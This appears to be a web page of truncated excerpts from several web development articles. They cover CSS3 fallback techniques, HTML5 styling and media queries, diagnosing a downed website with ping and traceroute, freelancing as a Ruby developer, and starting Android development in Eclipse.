With the arrival of IE9, Microsoft has signalled its intent to work more with standards-based technologies. With IE still the single most popular browser and in many ways the browser for the uninitiated, this is hopefully the long awaited start of us Web craftsmen embracing the idea of using CSS3 as freely as we do CSS 2.1. However, with IE9 not being supported on versions of Windows before Vista and a lot of businesses still running XP and reluctant (or unable) to upgrade, it might take a while until a vast majority of our users will see the new technologies put to practice.
While plenty of people out there are using CSS3, many aren’t so keen or don’t know where to start. This article will first look at the ideas behind CSS3, and then consider some good working practices for older browsers and some new common issues.
A Helpful AnalogyThe best analogy to explain CSS3 that I’ve heard relates to the world of film. Filmmakers can’t guarantee what platform their viewers will see their films on. Some will watch them at the cinema, some will watch them at home, and some will watch them on portable devices. Even among these few viewing options, there is still a massive potential for differences: IMAX, DVD, Blu-ray, surround sound — somebody may even opt for VHS!
So, does that mean you shouldn’t take advantage of all the great stuff that Blu-ray allows with sound and video just because someone somewhere will not watch the film on a Blu-ray player? Of course not. You make the experience as good as you can make it, and then people will get an experience that is suitable to what they’re viewing the movie on.
A lot about CSS3 can be compared to 3-D technology. They are both leading-edge technologies that add a lot to the experience. But making a film without using 3-D technology is still perfectly acceptable, and sometimes even necessary. Likewise, you don’t need to splash CSS3 gradients everywhere and use every font face you can find. But if some really do improve the website, then why not?
However, simply equating CSS3 to 3-D misses the point. In many cases, CSS3 simply allows us to do the things that we’ve been doing for years, but without all the hassle.
To Gracefully Degrade or Progressively Enhance?In film, you create the best film you can make and then tailor the product to the viewing platform. Sound familiar? If you have dabbled in or even taken a peek at CSS3, it should.
There are two schools of thought with CSS3 usage, and it would be safe to say that the fundamental principle of both is to maintain a website’s usability for those whose browsers do not support CSS3 capabilities, while providing CSS3 enhancements for those whose browsers do. In other words, make sure the film still looks good even without the 3-D specs. In many ways, the schools of thought are similar, and regardless of which you adopt, you will face many of the same concerns and issues, only from different angles.
Graceful DegradationWith graceful degradation, you code for the best browsers and ensure that as the various layers of CSS3 are peeled away on older browsers, those users still get a usable (even if not necessarily as pleasing an) experience.
The approach is similar (although not identical) to using an IE6-only style sheet, whereby you serve a certain set of styles to most users, while serving alternate styles to users of IE6 and lower. Normally, the IE6 version of a website removes or replaces styling properties that don’t work in IE6, along with fixes for any layout quirks. Graceful degradation differs in that it makes use of the natural fallbacks in the browser itself, and fixes are determined by browser capabilities rather than specific browser versions. Also, graceful degradation does not normally require an entirely different set of styles. The result, though, is that the majority of users get the normal view, and then tweaks are applied for people who have yet to discover a better browser.
Aggressive graceful degradation is at the heart of Andy Clarke’s recent book, Hardboiled Web Design, and the accompanying website makes great use of graceful degradation. There are plenty of other examples, including Do Websites Need to Look Exactly the Same in Every Browser.com, which was built to showcase the technique, and Virgin Atlantic’s vtravelled blog, designed by John O’Nolan, which shows some great subtle fallbacks that most users wouldn’t even notice. And if you’re a WordPress user, why not compare your admin dashboard in IE to it in another browser?
Progressive EnhancementProgressive enhancement follows the process in reverse: that is, building for lower-support browsers and then using CSS3 to enhance the experience of those with more capable browsers. This used to be done, and still is by some, with separate enhancement style sheets.
As a starting point, most people will code for a sensible standards-based browser, then add some code to support browsers such as IE7 and 8, and then possibly thrown in some fixes for IE6 for good measure, and then step back and think, “How can I improve this with CSS3?” From there, they would add properties such as rounded corners, gradients, @font-face text replacement and so on.
As browser makers add support, progressive enhancement appears to be taking a back seat to graceful degradation. But progressive enhancement is a very good approach for getting started with CSS3 properties and learning how they work.
Examples of the technique include the personal websites of Sam Brown and Elliot Jay Stocks, which both feature enrichment-type style sheets, Elliot has spoken on the matter, and the slides from his 2009 Web Directions South talk, “Stop Worrying and Get on With It (Progressive Enhancement and Intentional Degradation),” make for good reading.
Elliot Jay Stock’s presentation ‘Stop Worrying and Get on With It (Progressive Enhancement and Intentional Degradation)’
Comparing the two, graceful degradation can be considered a top-down approach, starting with browsers most capable of utilizing CSS3 and working down to older browsers that lack support.
Progressive enhancement works the other way, bottom-up, using a standards-based browser of choice as the baseline, along maybe with IE7, and then adding CSS3 for browsers that support it. Its benefit is that it is easy to work with when you’re just getting used to CSS3, and it’s also a sensible approach when adding CSS3 to older websites. Whichever approach you choose, there are a number of things to consider, what with all the CSS3 properties that are coming out. Later on, we will look at considerations for certain key properties.
How To Do It?Whatever your approach, you will no doubt find yourself thinking through the common fallback process at some point: what would this element look like with a certain property, and what would it look like without it? Would it look fine or broken? If it would look broken, there’s a good chance you will need to do something about it.
As a typical path, you would first implement a feature with CSS3, then with CSS 2.1, then (maybe) with JavaScript, and then with whatever hack you used to use for legacy browsers. You could argue that progressive enhancement would slightly modify this path, using CSS 2.1 first, then CSS3.
At each stage, you should determine whether degrading or enhancing a feature would become unnecessarily complex and whether simply providing an alternative would be more sensible.
Ordering PropertiesLet’s take a quick look at ordering properties and how browsers interpret them. Browser makers initially offer CSS3 functionality via browser prefixes: -moz for Mozilla, -webkit for Chrome and Safari, -o for Opera, etc. Each browser then ignores any prefixes not meant for it. The convention is to list the browser-specific prefixes first and then the default property, as follows:

.somediv {
-moz-border-radius: 5px;
-webkit-border-radius: 5px;
border-radius: 5px; }
Yes, this creates a little overhead, but when you consider how such effects were achieved before CSS3, it’s really not much.
Browsers that don’t support the property will ignore it. Any browser that does support it will implement its browser-specific version; and when it eventually supports the generic property, it will implement that.
Why order it in this way? Once all of the browsers implement a property the same way, then they will adopt the default version of the property; until then, they will use the prefixed version. By listing the properties in the order shown above, we ensure that the standard version is implemented as the fallback once it is supported, hopefully leading to more consistent rendering across browsers.
JavaScriptJavaScript is the most common method of enabling cross-browser CSS3 features support, and it can either be used as a substitute for or to enable CSS3 properties in older browsers or be used as an alternative.
ModernizrA useful JavaScript tool for implementing CSS3 fallbacks is Modernizr. For anyone working with CSS3 in a production environment (as opposed to merely as a proof of concept), it is essential. Modernizr enables you to use CSS3 for properties where it is supported, and to provide sensible alternatives where it isn’t.

Modernizr works by adding classes to the html element of the page, which you would then call in the style sheet.
For example, to display a different background when CSS3 gradients are not supported, your code would look something like this:

.somediv {
background: -webkit-gradient(linear, 0% 0%, 0% 100%,
from(#660C0C), to(#616665), color-stop(.6,#0D0933)); }

.no-cssgradients .somediv {
background: url('/images/gradient.jpg'); }
Conversely, to display a different background only where the CSS3 property is supported, you would do this:

.cssgradients .somediv {
background: -webkit-gradient(linear, 0% 0%, 0% 100%,
from(#660C0C), to(#616665), color-stop(.6,#0D0933));}

.somediv {
background: url('/images/gradient.jpg'); […]

  This article is an excerpt from Eric Meyer’s recent book Smashing CSS, published by Wiley in cooperation with Smashing Magazine.
In this article, the focus is on what’s coming: styling techniques you’ll use in the immediate and near-term future. From styling HTML 5 elements to rearranging layout based on display parameters to crazy selection patterns to transforming element layout, these are all techniques that you may use tomorrow, next month, or next year. With partial browser support, they’re all on the cutting edge of Web design.
Accordingly, be careful not to get cut! A number of useful sites can help you figure out the exact syntaxes and patterns you need to use these techniques.
Furthermore, a number of JavaScript libraries can extend support for advanced CSS back into older browsers, in some cases as far back as IE/Win 5.5. Some are very narrowly focused on certain browser families, whereas others are more broadly meant to allow support in all known browsers. These can be useful in cases where your visitors haven’t quite caught up with the times but you don’t want them to miss out on all the fun. (Some of these libraries are CSS3 PIE, cssSandpaper, :select[ivizr], ie7-js, eCSStender).
There are also a good many CSS enhancements available as plug-ins for popular JavaScript libraries such as jQuery. If you’re a user of such a library, definitely do some digging to see what’s been created. Again: Be careful! While these techniques are powerful and can deliver a lot of power to your pages, you need to test them thoroughly in the browsers of the day to make sure you didn’t just accidentally make the page completely unreadable in older browsers.
Styling HTML 5Styling HTML 5 is really no different than styling HTML 4. There are a bunch of new elements, but styling them is basically the same as styling any other element. They generate the same boxes as any other div, span, h2, a, or what have you.
The HTML 5 specification is still being worked on as of this writing, so this may change a bit over time, but the following declarations may be of use to older browsers that don’t know quite what to do with the new elements.

article, aside, canvas, details, embed, figcaption, figure, footer, header, hgroup, menu, nav, section, summary {
display: block;
}
command, datalist, keygen, mark, meter, progress, rp, rt, ruby, time, wbr {
display: inline;
}
You may have noticed that I left out two fairly important new elements: audio and video. That’s because it’s hard to know exactly how to treat them. Block? Inline? All depends on how you plan to use them. Anyway, you can place them in the declaration that makes the most sense to you.
But what about really old browsers, like IE6? (Note I said “old,” not “unused.” In an interesting subversion of popular culture, browser popularity has very little to do with age.) For those, you need to use a bit of JavaScript in order to get the browser to recognize them and therefore be able to style them. There’s a nice little script that auto-forces old versions of IE to play nicely with HTML 5 elements. If you’re going to use and style them, you should definitely grab that script and put it to use.
Once you’ve gotten your browser ducks in a row and quacking “The Threepenny Opera,” you can get down to styling. Remember: There’s really nothing new about styling with these new elements. For example:

figure {
float: left;
border: 1px solid gray;
padding: 0.25em;
margin: 0 0 1.5em 1em;
}
figcaption {
text-align: center;
font: italic 0.9em Georgia, "Times New Roman", Times, serif;
}

<img src="splash.jpg" alt="A toddler’s face is obscured by a rippled and dimpled wall of water thrown up by her hands slapping into the surface of the swimming pool in whose waters she sits.">
SPLASH SPLASH SPLASH!!!

Figure 7-1: A styled HTML 5 figure and figure caption.
Classing like HTML 5Perhaps you like the new semantics of HTML 5, but you’re just not ready to take your sites to full-on HTML 5. Maybe your site’s user base is mostly older browsers and you’d rather stick to known quantities like HTML 4 or XHTML. Not to worry: You can have the best of both worlds with the venerable class attribute.
This approach was documented by Jon Tan in his article. The basic idea is to use old-school elements like div and span, and add to them classes that exactly mirror the element names in HTML 5. Here’s a code example.

.figure {
float: left;
border: 1px solid gray;
padding: 0.25em;
margin: 0 0 1.5em 1em;
}
.figcaption {
text-align: center;
font: italic 0.9em Georgia, "Times New Roman", Times, serif;
}

<img src="spring.jpg" alt="A small child with twin pigtail braids, her back to the camera, swings away from the camera on a playground swingset while the late afternoon sun peeks over the crossbar of the swingset.">
<div class="figcaption">Swinging into spring.</div>

Figure 7-2: A styled HTML 4-classed figure and figure caption.
If you compare the styles there to those found in the preceding section, you’ll see that the only difference is that the names figure and figcaption are preceded by periods — thus marking them as class names. The markup is a little different, of course, though it’s the same basic structure.
The advantage of this approach is that if you have these styles in place at the point when you decide you can convert to HTML 5, then all you need to do is change your markup to use HTML 5 elements instead of classed divs and then strip off the periods to turn the class selectors into element selectors. That’s it. Easy as cake!
Media QueriesThis could honestly be its own article, or possibly even its own book. Thus, what follows will necessarily be just a brief taste of the possibilities. You should definitely follow up with more research, because in a lot of ways this is the future of Web styling.
The point of media queries is to set up conditional blocks of styles that will apply in different media environments. For example, you could write one set of styles for portrait displays and another for landscape displays. You might change the colors based on the bit depth of the display. You could change the font based on the pixel density of display. You might even rearrange the page’s layout depending on the width or number of pixels available in the display.
Figure 7-3: A basic three-column layout.
How? Consider some basic layout styles for a three-column layout:

body {
background: #FFF;
color: #000;
font: small Arial, sans-serif;
}
.col {
position: relative;
margin: 3em 1%;
padding: 0.5em 1.5%;
border: 1px solid #aaa;
border-width: 1px 1px 0 1px;
float: right;
width: 20%;
}
#two {
width: 40%;
}
#footer {
clear: both;
}
As nice as this might be (in a minimalist sort of way), it is likely to run into trouble on smaller—which is to say, narrower—displays. What if you could magically change to a two-column layout on such displays?
Well, you can. First, restrict the three-column layout to environments that are more than 800 pixels across. This is done by splitting the layout bits into their own declarations:

body {
background: #fff;
color: #000;
font: small Arial, sans-serif;
}
.col {
position: relative;
margin: 3em 1%;
padding: 0.5em 1.5%;
border: 1px solid #aaa;
border-width: 1px 1px 0 1px;
}
#footer {
clear: both;
}
.col {
float: right;
width: 20%;
}
#two {
width: 40%;
}
Then wrap those last two declarations in a media query:

@media all and (min-width: 800px) {
.col {
float: right;
width: 20%;
}
#two {
width: 40%;
}
}
What that says is “the rules inside this curly-brace block apply in all media that have a minimum display width of 800 pixels.” Anything below that, no matter the medium, and the rules inside the block will be ignored. Note the parentheses around the min-width term and its value. These are necessary any time you have a term and value (which are referred to as an expression).
At this point, nothing will really change unless you shrink the browser window until it offers fewer than 800 pixels across to the document. At that point, the columns stop floating altogether.
Figure 7-4: What happens below 800 pixels.
What you can do at this point is write another media-query block of layout rules that apply in narrower conditions. Say you want a two-column layout between 500 and 800 pixels):

@media all and (min-width: 500px) and (max-width: 799px) {
.col {
float: left;
width: 20%;
}
#two {
float: right;
width: 69%;
}
#three {
clear: left;
margin-top: 0;
}
}
Figure 7-5: The reworked layout, which shows between 500 and 800 pixels.
And finally, you can apply some single-column styles for any medium with fewer than 500 pixels of display width:

@media all and (max-width: 499px) {
#one {
text-align: center;
}
#one li {
display: inline;
list-style: none;
padding: 0 0.5em;
border-right: 1px solid gray;
line-height: 1.66;
}
#one li:last-child {
border-right: 0;
}
#three {
display: none;
}
}
Figure 7-6: Single-column layout, which shows below 500 pixels.
Note that in all these queries, layout styles are defined in relation to the display area of the browser window. More generically, they are defined in relation to the display area available to the document in any medium in which it is rendered. That means that if a printer, for example, is used to print the document and it has an available display area 784 pixels wide, then the two-column layout will be for printing.
To restrict the column shifting to screen media only, alter the queries, like so:

@media screen and (min-width: 800px) {...}
@media screen and (min-width: 500px) and (max-width: 799px) {...}
@media screen and (max-width: 499px) {...}
But what if you want the three-column layout used in some non-screen media, like print and TV displays? Then add in th[…]

  Have you ever heard a colleague answer the phone like this: “Good afterno… Yes… What? Completely?… When did it go down?… Really, that long?… We’ll look into it right away… Yes, I understand… Of course… Okay, speak to you soon… Bye.” The call may have been followed by some cheesy ’80s rock ballad coming from the speaker phone, interrupted by “Thank you for holding. You are now caller number 126 in the queue.” That’s your boss calling the hosting company’s 24 hour “technical support” line.
An important website has gone down, and sooner or later, heads will turn to the Web development corner of the office, where you are sitting quietly, minding your own business, regretting that you ever mentioned “Linux” on your CV. You need to take action. Your company needs you. Your client needs you. Here’s what to do.
1. Check That It Has Actually Gone DownDon’t take your client’s word for it. Visit the website yourself, and press Shift + Refresh to make sure you’re not seeing a cached version (hold down Shift while reloading or refreshing the page). If the website displays fine, then the problem is probably related to your client’s computer or broadband connection.
If it fails, then visit a robust website, such as google.com or bbc.co.uk. If they fail too, then there is at least an issue with your own broadband connection (or your broadband company’s DNS servers). Chances are that you and your client are located in the same building and the whole building has lost connectivity, or perhaps you have the same broadband company and its engineers have taken the day off. You will need to check the website on your mobile phone or phone a friend. To be doubly sure, ask your friend to check Where’s It Up? or Down for Everyone or Just Me?, which will confirm whether your website is down just for you or for everyone.
If the website is definitely down, then frown confusedly and keep reading. A soft yet audible sigh would also be appropriate. You might want to locate the documents or emails that your Internet hosting service sent you when you first signed up with it. It should have useful details such as your IP address, control panel location, log-in details and admin and root passwords; these will come in handy.
2. Figure Out What Has Gone DownA website can appear to have gone down mainly for one of the following reasons:
A programming error on the website,A DNS problem, or an expired domain,A networking problem,Something on the server has crashed,The whole server has crashed.To see whether it’s a programming error, visit the website and check the status bar at the bottom of your browser. If it says “Done” or “Loaded,” rather than “Waiting…” or “Connecting…,” then the server and its software are performing correctly, but there is a programming error or misconfiguration. Check the Apache error log for clues.
Otherwise, you’ll need to run some commands to determine the cause. On a Mac with OS X or above, go to Applications → Utilities and run Terminal. On a PC with Windows, go to Start → All Programs → Accessories and choose “Command Prompt.” If you use Linux, you probably already know about the terminal; but just in case, on Ubuntu, it’s under Applications → Accessories.
The first command is ping, which sends a quick message to a server to check that it’s okay. Type the following, replacing the Web address with something meaningful to you, and press “Enter.” For all of the commands in this article, just type the stuff in the grey monospaced font. The preceding characters are the command prompt and are just there to let you know who and where you are.
C:\> ping www.stockashop.co.uk
If the server is alive and reachable, then the result will be something like this:

Reply from 92.52.106.33:
bytes=32 time=12ms TTL=53
Ping command from a Windows computer.
On Windows, it will repeat four times, as above. On Linux and Mac, each line will start with 64 bytes from and it will repeat indefinitely, and you’ll need to press Control + C to stop it.
The four-part number in the example above is your server’s IP address. Every computer on the Internet has one. At this stage, you can double-check that it is the correct one. You’ll need to have a very good memory, or refer to the documentation that your hosting company sent you when you first signed up with it. (This article does not deal with the newish eight-part IPv6 addresses.)
For instance, my broadband company is sneaky and tries to intercept all bad requests so that it can advertise to me when I misspell a domain name in the Web browser. In this case, the ping looks successful but the IP address is wrong:

64 bytes from advancedsearch.virginmedia.com
(81.200.64.50): icmp_seq=1 ttl=55 time=26.4 ms
Note that ping might also show the server name in front of the IP address (advancedsearch.virginmedia.com in this case). Don’t worry too much if it doesn’t match the website you are pinging — a server can have many names. The IP address is more important.
Assuming you’ve typed the domain name correctly, a bad IP address indicates that the domain name could have expired or that somebody has made a mistake with its DNS settings. If you receive something like unknown host, then it’s definitely a domain name issue:

ping: unknown host www.nosuchwebsite.fr
In this case, use a website such as Who.is to verify the domain registration details, or run the whois command from Linux or Mac. It will at least tell you when it expired, who owns it and where it is registered. The Linux and Mac commands host and nslookup are also useful for finding information about a domain. The nslookup command in particular has many different options for querying different aspects of a domain name:
paul@MyUbuntu:~$ whois stockashop.co.uk paul@MyUbuntu:~$ host stockashop.co.uk paul@MyUbuntu:~$ nslookup stockashop.co.uk paul@MyUbuntu:~$ nslookup -type=soa stockashop.co.uk
If nothing happens when you ping, or you get something like request timed out, then you can deepen your frown and move on to step three.
What a non-responding server looks like in a Linux terminal.
Alternatively, if your server replied with the correct IP address, then you can exhale in relief and move on to step five.
Note that there are plenty of websites such as Network-Tools.com that allow you to ping websites. However, using the command line will impress your colleagues more, and it is good practice for the methods in the rest of this article.
3. How Bad Is It?If your ping command has timed out, then chances are your whole server has crashed, or the network has broken down between you and the server.
If you enjoy grabbing at straws, then there is a small chance that the server is still alive and has blocked the ping request for security reasons — namely, to prevent hackers from finding out it exists. So, you can still proceed to the next step after running the commands below, but don’t hold your breath.
To find out if it is a networking issue, use traceroute on Mac or Linux and tracert on a PC, or use the trace option on a website such as Network-Tools.com. On Mac and Linux type:
paul@MyUbuntu:~$ traceroute www.stockashop.co.uk
On Windows:
C:\> tracert www.stockashop.co.uk
Traceroute traces a route across the Internet from your computer to your server, pinging each bit of networking equipment that it finds along the way. It should take 8 to 20 steps (technically known as “hops”) and then time out or show a few asterisks (*). The number of steps depends on how far away the server is and where the network has broken down.
The first couple of steps happens in your office or building (indicated by IP addresses starting with 192.68 or 10). The next few belong to your broadband provider or a big telecommunications company (you should be able to tell by the long name in front of the IP address). The last few belong to your hosting company. If your server is alive and well, then the very last step would be your server responding happily and healthily.
Traceroute on a Mac, through the broadband company and host to an unresponsive server.
Barring a major networking problem, like a city-wide power outage, traceroute will reach your hosting company. Now, you just need to determine whether only your server is ill or a whole rack or room has gone down.
You can’t tell this just from traceroute, but chances are the servers physically next to yours have similar IP addresses. So, you could vary the last number of your server’s IP address and check for any response. If your server’s IP address is 123.123.123.123, you could try:
C:\> ping 123.123.123.121 C:\> ping 123.123.123.122 C:\> ping 123.123.123.124 C:\> ping 123.123.123.125
If you discover that the server is in the middle of a range of 10 to 20 IP addresses that are all broken, then it could well indicate a wider networking issue deep within the air-conditioned, fireproof bunker that your server calls home. It is unlikely that the hosting company would leave so many IP addresses unused or that the addresses would have all crashed at the same time for different reasons. It is likely, though not definitive, that a whole rack or room has been disconnected or lost power… or burned down.
Alternatively, if nearby IP addresses do reply, then only your server is down. You can proceed to the next step anyway and hope that the cause is that your server is very secure and is blocking ping requests. Perhaps upgrade that deep frown to a pronounced grimace.
Otherwise, you’ll have to keep listening to Foreigner until your hosting company answers the phone. It is the only one that can fix the network and/or restart the server. But at least you now have someone else to blame. And if you are number 126 in the queue, it’s probably because 125 other companies think their websites have suddenly gone down, too.
4. Check Your Web Server SoftwareIf the server is alive but just not serving up websites, then yo[…]

  Warning: Freelancing Is Not for EveryoneA freelancer is a self-employed person who pursues a profession without a long-term commitment to any particular employer. Your curiosity in this opportunity was probably sparked by posts marked “Freelance” or “Work from anywhere” on the myriad of job boards around the Web. Freelancing is equal parts freedom and responsibility. While you have the freedom to choose when you work, where you work and what you work on, you are also responsible for everything: deadlines, finding work, the quality of your work, communication and so much more.
Photo by Dmitry Belitsky
Ruby, with all of its frameworks and libraries (such as Rails, Merb and Sinatra), is a practical tool to use in your freelance Web development career because of its focus on clean code, object-oriented syntax, efficient development practices and strong community (whether a simple IRC chat room or large conference). For all of these reasons, I find that it is also quite fun to use and exciting to be a part of.
So, your skill may be in Ruby and your approach is to freelance, but it’s not that easy: freelancing is no walk in the park. It could become a living nightmare if you’re not able to use your time efficiently and remain focused and motivated until a project comes to a close. It could also become a nightmare if you market yourself poorly, are constantly desperate for work or surrender too much power to a client, putting you in the position of a monkey-worker responding to petty demands.
Over the four years that I’ve been freelancing, I have figured out the intricacies of it and grown to completely love it. I cannot envision myself working any other way.
Pros Photo by Giorgio Montersino.
Be your own boss. Report to no one but yourself. You are at once king, countryman, peasant, squire, blacksmith and merchant. You will work on excruciatingly boring tasks, grand and exciting ventures and everything in between. You will have very tough times and very beautiful times.
Enjoy your freedom. You have the freedom to work when and where you please, the freedom to structure your day as you please and the freedom to fail. Structure and discipline can be daunting and intimidating but also rewarding and empowering.
Choose what to work on. Want to spend 50% of your time on open-source projects? Interested in building your own Web app? You have the power to make that a reality. Want to work exclusively on projects in social media? Make it happen.
Set your rates. Value is both a reflection of how you perceive yourself and how others perceive you. Are you capable of meeting deadlines, communicating well and delivering quality code? Charge what you think that is worth. Often the market will decide. If you are just starting out, charging $80 per hour will be hard; you have to earn that rate over time and with experience.
But what’s to stop you from charging $80 per hour after just a year of full-time freelance work as a Ruby developer? Only yourself. You will have to be confident, and I suspect that most people reading this article do not charge that rate. But if you truly feel capable, then by all means.
In sum, you will experience highs and lows, but with the right attitude, the lows will always pay off.
Cons
Selling yourself Many dislike the notion of having to sell themselves. That’s understandable: the task is certainly not without its unpleasantness. If coding is an art, then like any good artist you’ll be critical of your own work. But maintain perspective. Recognize that you have to take responsibility for the quality of your code, but also understand that your clients probably won’t be programmers themselves. Hacking together something that works will be okay in many cases; and if it breaks because it was poorly written, offer to fix it for free.
When you write code that is efficient and powerful, explain as much to the client in vocabulary that they will understand; something like, “I changed the application so that it can perform × task at twice the speed.” Remember that your clients will likely not be developers and that in the freelancing game communication skills are often more important than programming skills. Be aware of yourself, be realistic in your expectations of yourself, be humble yet straightforward, and understand that if you truly believe in yourself, selling becomes easy. You are just being honest when you say to someone, “I’m good at what I do.”
Responsibility and discipline No one will prevent you from procrastinating. No one will stop you from meeting with a friend in the middle of the day for lunch or a walk. No one will tell you what to do or when to do it. This may sound amazing—and it is if you’re disciplined—but discipline becomes rarer as we get increasingly overloaded with details that demand our attention. (In my opinion, discipline is one of the most important traits any freelancer can have.)
Time management Manage your time as if each hour were a brick of gold. Time is more precious than any other resource. Tools are out there to help you become aware of how you spend it and that help you figure out where you are going wrong and right. Harvest, Trails, Tick and a slew of other applications are all designed to help you understand how you spend your time.
Emotions The freelancing life is often isolating and can get lonely. It has often been said that running a small business is an emotional roller coaster: well, it is. Fight the inclination to stay cooped up and out of touch with the world. Get out and meet people; it could save you from serious bouts of depression.
Ultimately, freelancing is not for the faint of heart, but that doesn’t mean it isn’t worth your best shot!
Tools Of The TradePlenty of tools will help you get your projects done, but the best ones help you complete your projects effectively. We all work differently, and numerous tools are at our disposal that will help us accomplish the same task in different ways.
You’ll find a lot of discussion on the Web (some of it bordering on holy wars) about the relative merit of Vim vs. Emacs, Prototype vs. jQuery, Haml vs. ERB. But it doesn’t matter what you use: results matter. Properly caring for your code will help you grow, so use tools that allow you to craft the best possible code. Tools are always relative.
Text Editor (Vim, Emacs, TextMate, IDE)
As with most other tools, choose a text editor by trying it out. I used TextMate in the past and now work in Vim most of the time. Some folks prefer Emacs or big IDEs such as RubyMine. You can try all of these just by downloading a trial version. You’ll know when you’ve found your favorite.
*Nix Server Management and Working in the Unix ShellMany useful resources on Linux server management are available in various Slicehost articles. You’ll also find a lot of info about working in the command line at commandlinefu.com. Beyond that, let Google guide you.
Ruby Will Become Your Best Friend
Yukihiro Matsumoto (a.k.a. Matz), creator of Ruby, said that he wanted to minimize his frustration with programming, minimize his effort in programming and have fun with software development. In fact, Ruby was designed to make programmers happy. But while Ruby is simple in appearance, it is complex inside, like the human body.
As hard as it is to believe, Ruby has been around for 15 years. As the years go by, more and more people see the beauty in this language and become passionate users. Today, Ruby is the language of choice for hundreds of thousands of developers worldwide. Several lively Ruby conferences take place each year around the world. And big corporations use Ruby: Microsoft and Sun have created their own Ruby interpreters (IronRuby, jRuby), and Apple now includes Ruby with OS X 10.6. Countless Ruby developers are hired every day on every continent.
The community around a language is one of my primary considerations in deciding whether to learn that language. Ruby’s community is vibrant and growing; it is friendly to people of all skill levels and comprises both online communication such as chatting and mailing lists and in-the-flesh interaction at meet-up groups and conferences. Ruby and its frameworks—especially Rails—have become their own sub-culture; full of life and passion and changing every day.
A very useful resource is confreaks.com, where you can watch videos from great Ruby-related events such as Rubyconf, acts_as_conference and more. Highly recommended.
Popular Ruby-related resources:
The official Ruby websiteRuby mailing list A useful place to get help or advice from those active in the Ruby community.Ruby Inside A Ruby blog with daily news, links, code and tips. Claims to be “the #1 Ruby programming blog.”RubyFlow A community-driven Ruby links website, with more than 1000 members. Posts are made by members of the community. Enjoy the links and leave comments.RubyForum Helpful forum for Ruby and Rails.Ruby Learning “A thorough collection of Ruby study notes for those who are new to the Ruby programming language and in search of a solid introduction to Ruby’s concepts and constructs.”Planet Ruby RSS aggregator of top Ruby-related blogs.The Ruby on Rails Framework (and Alternatives: Merb, Sinatra, Ramaze, Rango)Rails is my MVC framework of choice because of its ease of use as well as the vast community of passionate users who stand behind it. If you’d like to learn it, a great starting point is Agile Web Development With Rails. UC Berkeley has a series of intensive Ruby on Rails classes on YouTube, which are rather useful. And a lot of screencasts are on the Web. I also like confreaks (already mentioned but worth a second push); it delivers videos from large Ruby conferences, and I’ve learned a lot from the talks.

Some general Rails-related resources:
RailsGuides A great Rails documentation project.RailsBridge A friendly Rails community.Ruby on Rails 3.0 Release Notes A new Rails 3 guide, with details on t[…]

  Russian Translation via softdroid.net
There’s a lot to get excited about in mobile application development today. With increasingly sophisticated hardware, tablet PCs and a variety of software platforms (Symbian OS, iOS, WebOS, Windows Phone 7…), the landscape for mobile developers is full of opportunities — and a little complex as well.
So much choice can be overwhelming when you just want to get started building mobile applications. Which platform should you choose? What programming language should you learn? What kit do you need for your planned project? In this tutorial, you’ll learn how to start writing applications for Android, the open-source mobile operating system popularized by Google.
Why Develop for Android?Android is an open-source platform based on the Linux kernel, and is installed on thousands of devices from a wide range of manufacturers. Android exposes your application to all sorts of hardware that you’ll find in modern mobile devices — digital compasses, video cameras, GPS, orientation sensors, and more.
Android’s free development tools make it possible for you to start writing software at little or no cost. When you’re ready to show off your application to the world, you can publish it to Google’s Android Market. Publishing to Android Market incurs a one-off registration fee (US $25 at the time of writing) and, unlike Apple’s App Store which famously reviews each submission, makes your application available for customers to download and buy after a quick review process — unless the application is blatantly illegal.
Here are a few other advantages Android offers you as a developer:
The Android SDK is available for Windows, Mac and Linux, so you don’t need to pay for new hardware to start writing applications.An SDK built on Java. If you’re familiar with the Java programming language, you’re already halfway there.By distributing your application on Android Market, it’s available to hundreds of thousands of users instantly. You’re not just limited to one store, because there are alternatives, too. For instance, you can release your application on your own blog. Amazon have recently been rumoured to be preparing their own Android app store also.As well as the technical SDK documentation, new resources are being published for Android developers as the platform gains popularity among both users and developers.Enough with the talk — let’s get started developing for Android!
Installing Eclipse and the Android SDKThe recommended environment for developing Android applications is Eclipse with the Android Development Toolkit (ADT) plugin installed. I’ll summarize the process here. If you need more detail, Google’s own developer pages do a good job of explaining the installation and configuration process.
Download the Android SDK for your platform (Windows, Mac OS X, or Linux).Extract the downloaded file to somewhere memorable on your hard drive (on Linux, I use /opt/local/).If you don’t already have Eclipse installed, download and install the Eclipse IDE for Java Developers package. For programming, Google recommends using Eclipse 3.5 (Galileo).Run Eclipse and choose Help->Install New Software.Click Add in the Available Software window.Enter Android Development Tools in the Name field, and https://dl-ssl.google.com/android/eclipse/ in the Location field.Click OK and check Developer Tools in the list of available software. This will install the Android Development Tools and DDMS, Android’s debugging tool. Large image
Click Next and Finish to install the plugin. You’ll need to restart Eclipse once everything is installed.When Eclipse restarts, choose Window->Preferences and you should see Android listed in the categories.You now need to tell Eclipse where you’ve installed the Android SDK. Click Android and then Browse to select the location where you extracted the SDK files. For example, /opt/local/android-sdk. Large viewClick OK to have Eclipse save the location of your SDK.Targeting Android PlatformsBefore you can start writing applications for Android, you need to download the SDK platforms for the Android devices for which you want to develop apps. Each platform has a different version of the Android SDK that may be installed on users’ devices. For versions of Android 1.5 and above, there are two platforms available: Android Open Source Project and Google.
The Android Open Source Project platforms are open source, but do not include Google’s proprietary extensions such as Google Maps. If you choose not to use the Google APIs, Google’s mapping functionality won’t be available to your application. Unless you have a specific reason not to, I’d recommended you to target one of the Google platforms, as this will allow you to take advantage of Google’s proprietary extensions.
Choose Window->Android SDK and AVD Manager.Click Available Packages in the left column and check the repository to show a list of the available Android platforms.You can choose which platforms to download from the list, or leave everything checked to download all the available platforms. When you’re done, click Install Selected and follow the installation instructions. Large imageOnce everything has been successfully downloaded, you’re ready to start developing for Android.
Creating a New Android ProjectEclipse’s New Project Wizard can create a new Android application for you, generating files and code that are ready to run right out of the box. It’s a quick way to see something working, and a good starting point from which to develop your own applications:
Choose File->New->Project…Choose Android ProjectIn the New Project dialog, enter the following settings:Project Name: BrewClock
Build Target: Google Inc. 1.6 (Api Level 4)
Application Name: BrewClock
Package Name: com.example.brewclock
Create Activity: BrewClockActivity
Min SDK Version: 4
After clicking Finish, Eclipse will create a new Android project that’s ready to run. Notice you told Eclipse to generate an Activity called BrewClockActivity? This is the code that Android actually uses to run your application. The generated code will display a simple ‘Hello World’ style message when the application runs.
PackagesThe package name is an identifier for your application. When the time comes and you are willing to publish on Android Market, it’s exactly this identifier that will be used to track your application for updates, so it’s important to make sure it’s unique. Although we’re using the com.example.brewclock namespace here, for a real application it’s best to choose something like com.yourcompanyname.yourapplication.
